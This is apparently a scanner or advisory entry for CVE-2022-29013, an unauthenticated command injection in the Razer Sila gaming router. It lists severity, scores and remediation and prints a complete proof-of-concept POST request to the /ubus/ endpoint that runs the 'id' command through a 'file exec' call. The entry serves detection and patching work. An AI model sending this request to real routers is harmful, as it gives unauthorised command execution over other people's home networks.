| Title | Razer Sila Gaming Router - Remote Code Execution |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary system commands on the Razer Sila gaming router through command injection in the ubus endpoint, potentially compromising the entire home network and intercepting all network traffic. |
| Remediation | Upgrade to a patched version of Razer Sila firmware that properly sanitizes command parameters and validates input to the ubus API. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92694 |
| CVE ID | CVE-2022-29013 |
| CWE ID | CWE-78 |
| Tags | packetstorm cve cve2022 razer sila router vkev vuln |
A command injection in the command parameter of Razer Sila Gaming Router v2.0.441_api-2.0.418 allows attackers to execute arbitrary commands via a crafted POST request.
POST /ubus/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 119
Accept: */*
Accept-Language: en
Origin: /
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29013.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29013.pcap
N/AN/A